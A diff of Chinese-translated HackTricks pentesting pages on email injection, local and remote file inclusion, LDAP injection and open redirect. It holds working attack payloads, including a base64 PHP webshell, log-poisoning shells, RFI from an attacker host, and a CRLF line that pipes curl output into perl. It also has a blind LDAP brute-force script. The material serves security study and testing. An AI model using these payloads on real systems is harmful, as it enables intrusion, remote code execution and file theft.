- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# 邮件注入
# Email Injections
{{#include ../banners/hacktricks-training.md}}
## 注入已发送邮件
## 注入已发送的电子邮件
### 在发件人参数后注入 Cc 和 Bcc
```
@ -52,9 +52,9 @@ Parameter #4 [ <optional> $additional_parameters ]
在这种情况下,攻击者可以**注入 sendmail 的提取参数**。
#### /usr/sbin/sendmail 实现的差异
#### /usr/sbin/sendmail 实现的差异
**sendmail** 接口是由系统上安装的 MTA 邮件软件Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,**基本功能**(如 -t -i -f 参数)保持**相同**,但**其他功能和参数**根据安装的 MTA 有很大差异。
**sendmail** 接口是由系统上安装的 **MTA 邮件软件**Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,**基本功能**(如 -t -i -f 参数)保持**相同**,但**其他功能和参数**根据安装的 MTA 有很大差异。
以下是 sendmail 命令/接口的不同手册页的一些示例:
@ -62,7 +62,7 @@ Parameter #4 [ <optional> $additional_parameters ]
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
根据**sendmail**二进制文件的来源,发现了不同的选项来滥用它们并**泄露文件或甚至执行任意命令**。查看如何在 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
根据**sendmail** 二进制文件的来源,发现了不同的选项来滥用它们并**泄露文件或甚至执行任意命令**。查看如何在 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## 在电子邮件名称中注入
@ -73,11 +73,11 @@ Parameter #4 [ <optional> $additional_parameters ]
符号:**+、-** 和 **{}** 在少数情况下可以用于标记,并被大多数电子邮件服务器忽略。
- 例如 john.doe+intigriti@example.com → john.doe@example.com
- 例如john.doe+intigriti@example.com → john.doe@example.com
**括号 () 中的注释** 在开头或结尾也被忽略。
**括号 () 中的注释** 在开头或结尾也被忽略。
- 例如 john.doe(intigriti)@example.com → john.doe@example.com
- 例如john.doe(intigriti)@example.com → john.doe@example.com
### 白名单绕过
@ -134,7 +134,7 @@ Parameter #4 [ <optional> $additional_parameters ]
#punycode
x@xn--svg/-9x6 → x@<svg/
```
有效载荷:
Payloads:
- Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
- 注意编码的 `@` 为 =40编码的 `>``=3e``null``=00`&#x20;
@ -145,45 +145,45 @@ x@xn--svg/-9x6 → x@<svg/
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
- 注意使用下划线作为分隔地址的空格
- 它将把验证邮件发送到 `collab@psres.net`
- Punycode: 使用 Punycode 可以在 Joomla 中注入标签 `<style` 并利用它通过 CSS 外泄窃取 CSRF 令牌。
- Punycode: 使用 Punycode 可以在 Joomla 中注入一个标签 `<style` 并利用它通过 CSS 外泄窃取 CSRF 令牌。
#### 工具
#### Tooling
- 有一个 **Burp Suite Turbo Intruder 脚本** 用于模糊这些组合,以尝试攻击电子邮件格式。该脚本已经包含潜在的有效组合。
- 有一个 **Burp Suite Turbo Intruder 脚本** 用于模糊这些组合,以尝试攻击电子邮件格式。该脚本已经包含潜在的有效组合。
- 还可以使用 [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) 创建电子邮件拆分攻击
### 其他漏洞
### Other vulns
![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)
## 第三方 SSO
## Third party SSO
### XSS
一些服务如 **github****salesforce 允许** 您创建一个 **带有 XSS 有效载荷的电子邮件地址**。如果您可以 **使用这些提供商登录其他服务**,而这些服务 **没有正确清理** 电子邮件,您可能会导致 **XSS**
一些服务**github****salesforce 允许** 您创建一个 **带有 XSS 负载的电子邮件地址**。如果您可以 **使用这些提供商登录其他服务**,而这些服务 **没有正确清理** 电子邮件,您可能会导致 **XSS**
### 账户接管
### Account-Takeover
如果 **SSO 服务** 允许您 **创建一个不验证给定电子邮件地址的账户**(如 **salesforce**),然后您可以使用该账户 **登录到一个信任** salesforce 的不同服务,您可能会访问任何账户。\
&#xNAN;_&#x4E;ote that salesforce indicates if the given email was or not verified but so the application should take into account this info._
如果 **SSO 服务** 允许您 **创建一个不验证给定电子邮件地址的帐户**(如 **salesforce**),然后您可以使用该帐户 **登录到一个信任** salesforce 的不同服务,您可能会访问任何帐户。\
_&#x4E;ote that salesforce indicates if the given email was or not verified but so the application should take into account this info._
## 回复至
## Reply-To
您可以使用 _**From: company.com**__**Replay-To: attacker.com**_ 发送电子邮件,如果由于电子邮件是 **从** 内部地址发送的而发送了任何 **自动回复**,则 **攻击者** 可能能够 **接收****响应**
## 硬退信率
## Hard Bounce Rate
某些服务,如 AWS实施一个称为 **硬退信率** 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。
某些服务,如 AWS实施一个称为 **Hard Bounce Rate** 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。
**硬退信** 是指 **电子邮件** 被退回给发件人,因为收件人的地址无效或不存在。这可能由于各种原因发生,例如 **电子邮件** 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 **电子邮件**
**hard bounce** 指的是 **电子邮件** 被退回给发件人,因为收件人的地址无效或不存在。这可能由于多种原因造成,例如 **电子邮件** 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 **电子邮件**
在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退信(由于无效地址或域名等原因),这将意味着 10% 的硬退信率。达到或超过此比率可能会触发 AWS SES简单电子邮件服务阻止或暂停您的电子邮件发送能力。
在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退回(由于无效地址或域名等原因),这将意味着 10% 的硬退回率。达到或超过此比率可能会触发 AWS SES简单电子邮件服务阻止或暂停您的电子邮件发送能力。
保持低硬退率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。
保持低硬退率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。
有关更详细的信息,可以参考 AWS 关于处理退和投诉的官方文档 [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)。
有关更详细的信息,可以参考 AWS 关于处理退和投诉的官方文档 [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)。
## 参考
## References
- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)

View File

@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试添加 `../../../../../`
一个使用多种技术查找文件 /etc/password以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
@ -38,7 +38,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试删除 `C:/` 并添加 `../../../../../`
一个使用多种技术查找文件 /boot.ini以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## 基本 LFI 和绕过
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **空字节 (%00)**
绕过在提供的字符串末尾附加更多字符的限制(绕过:$\_GET\['param']."php")
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -90,7 +90,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹:** 将怀疑的文件夹名称(例如,`private`)附加到 URL然后返回到 `/etc/passwd`。额外的目录级别需要将深度增加一个:
2. **探测文件夹:** 将怀疑的文件夹名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -110,7 +110,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
在PHP中由于文件系统的特性文件路径的各种表示可以被视为等效。例如
- `/etc/passwd``/etc//passwd``/etc/./passwd``/etc/passwd/`都被视为相同的路径。
- 当最后6个字符`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 当最后6个字符`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
在这些场景中所需的遍历次数可能在2027左右但这个数字可能会根据服务器的配置而有所不同。
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录所需的精确`../`序列数量,然后`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
php 中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个 PHP 文件并获得 RCE
在php中这默认是禁用的因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作在这种情况下您可以从您的服务器包含一个PHP文件并获得RCE
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议 base64 来解码一个 b64 PHP 代码并获得 RCE
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议 base64 来解码一个 b64 PHP 代码并获得 RCE
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -159,7 +159,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 根元素
## Python Root element
在 Python 中,像这样的代码:
```python
@ -229,7 +229,7 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台中运行:`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如包含过程处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容(在提取大量信息时很有用)
@ -273,21 +273,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php 过滤器作为 oracle 读取任意文件
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**
- 这将用于生成一个 **当初始字母正确猜测时文本非常大** 的文本,以至于 php 会触发一个 **错误**
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
- 这与前一个(以及根据猜测字母的其他过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将导致 php 错误
- 这与前一个(以及其他根据猜测字母的过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将使 php 出错
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母因此在此编码后a -> b。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g该字母不再是十六进制字符因此 dechunk 不会删除它php 错误被触发,因为它与初始炸弹相乘。
- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r其他编码可以用于将其他字母移动到十六进制范围
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位
- 使用其他转换如 **rot13** 在开头可以泄漏其他字符如 n, o, p, q, r其他编码可以用于将其他字母移动到十六进制范围
- 当初始字符是数字时,需要对其进行 base64 编码并泄漏前两个字母以泄漏该数字。
- 最后一个问题是查看 **如何泄漏超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的位以泄漏
在文章中还泄了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
在文章中还泄了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
### php://fd
@ -316,7 +316,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
### 数据://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -356,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
执行后,将创建一个名为 `test.phar` 的文件,这可能会被利用来利用本地文件包含LFI漏洞。
执行后,将创建一个名为 `test.phar` 的文件,该文件可能被利用来利用本地文件包含LFI漏洞。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件关。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件关。
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下链接的文档:
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下链接的文档:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -389,7 +389,7 @@ phar-deserialization.md
## 通过 PHP 的 'assert' 进行 LFI
在处理 'assert' 函数时PHP 中的本地文件包含LFI风险显著较高因为它可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
在处理 'assert' 函数时PHP 中的本地文件包含LFI风险显著较高该函数可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
例如PHP 代码可能被设计为防止目录遍历,如下所示:
```bash
@ -408,7 +408,7 @@ assert("strpos('$file', '..') === false") or die("");
## PHP盲路径遍历
> [!WARNING]
> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。
> 技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
@ -416,7 +416,7 @@ assert("strpos('$file', '..') === false") or die("");
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
**可能存在漏洞的函数**`file_get_contents``readfile``finfo->file``getimagesize``md5_file``sha1_file``hash_file``file``parse_ini_file``copy``file_put_contents (仅限目标只读)``stream_get_contents``fgets``fread``fgetc``fgetcsv``fpassthru``fputs`
**可能存在漏洞的函数**`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
有关技术细节,请查看上述文章!
@ -431,11 +431,11 @@ assert("strpos('$file', '..') === false") or die("");
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell如**`<?php system($_GET['c']); ?>`**并包含该文件。
> [!WARNING]
> 请注意,**如果您使用双引号**而不是**单引号**来编写shell,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
> 请注意,如果您为shell使用双引号而不是**单引号**,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
>
> 此外,请确保**正确编写有效负载**,否则每次PHP尝试加载日志文件时都会出错,您将没有第二次机会。
> 此外,请确保**正确编写有效负载**,否则每次尝试加载日志文件时PHP都会出错,您将没有第二次机会。
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到头部中。\
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
@ -456,7 +456,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 通过 /proc/\*/fd/\*
1. 上传大量 shell例如100
1. 上传大量 shell例如100
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID可以暴力破解$FD 是文件描述符(也可以暴力破解)
### 通过 /proc/self/environ
@ -513,7 +513,7 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地
### 通过 php base64 过滤器(使用 base64
正如在 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
正如在 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -567,7 +567,7 @@ lfi2rce-via-temp-file-uploads.md
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
以下利用 CRLF 漏洞获取 RCE来自 [**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
以下利用CRLF漏洞获取RCE来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径****服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -598,18 +598,18 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
lfi2rce-via-eternal-waiting.md
{{#endref}}
### 致命错误
### 导致致命错误
如果你包含任何文件 `/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
如果你包含任何文件 `/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`。(你需要包含同一个文件次以引发该错误)。
**我不知道这有什么用,但可能有用。**\
&#xNAN;_&#x45;即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 参考
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{{#file}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,就会发生这种情况,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,就会发生这种情况,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = 绝对真\
&#xNAN;**(|)** = 绝对假
**(&)** = 绝对真\
**(|)** = 绝对假
例如:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -48,17 +48,17 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
**发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。**
过滤器必须以`&``|` 开头\
示例:`(&(directory=val1)(folder=public))`
过滤器必须以 `&``|` 开头\
示例: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
然后:`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。
然后: `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。
### 登录绕过
LDAP 支持多种格式来存储密码明文、md5、smd5、sh1、sha、crypt。因此可能无论你在密码中插入什么,它都会被哈希处理。
LDAP 支持多种格式来存储密码明文、md5、smd5、sh1、sha、crypt。因此无论你在密码中插入什么,它都可能被哈希处理。
```bash
user=*
password=*
@ -150,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **发现有效的LDAP字段**
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。
LDAP对象**默认包含多个属性**,可以用来**保存信息**。您可以尝试**对所有属性进行暴力破解以提取该信息。** 您可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。
```python
#!/usr/bin/python3
import requests
@ -182,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **特殊盲 LDAP 注入(不带 "\*"**
#### **特殊盲LDAP注入不带“\*”**
```python
#!/usr/bin/python3

View File

@ -166,10 +166,9 @@ exit;
## 资源
- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 你可以找到模糊测试列表。\\
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 中可以找到模糊测试列表。
